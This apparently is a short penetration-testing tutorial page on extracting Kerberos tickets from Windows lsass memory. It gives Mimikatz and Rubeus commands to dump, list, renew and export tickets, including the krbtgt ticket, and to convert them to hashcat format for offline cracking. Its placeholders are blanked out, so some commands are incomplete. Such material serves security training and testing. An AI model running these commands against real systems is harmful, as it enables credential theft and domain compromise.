# Harvesting tickets from Windows
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Tickets in Windows are managed and stored by the **lsass** (Local Security Authority Subsystem Service) process, responsible for handling security policies. To extract these tickets, it's necessary to interface with the lsass process. A non-administrative user can only access their own tickets, while an administrator has the privilege to extract all tickets on the system. For such operations, the tools **Mimikatz** and **Rubeus** are widely employed, each offering different commands and functionalities.
### Mimikatz
Mimikatz is a versatile tool that can interact with Windows security. It's used not only for extracting tickets but also for various other security-related operations.
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
```
### Rubeus
Rubeus is a tool specifically tailored for Kerberos interaction and manipulation. It's used for ticket extraction and handling, as well as other Kerberos-related activities.
```bash
# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))
# Listing all tickets
.\Rubeus.exe triage
# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid: /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))
# Renewing a ticket
.\Rubeus.exe renew /ticket:
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:
```
When using these commands, ensure to replace placeholders like `` and `` with the actual Base64 encoded ticket and Logon ID respectively. These tools provide extensive functionality for managing tickets and interacting with the security mechanisms of Windows.
## References
* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
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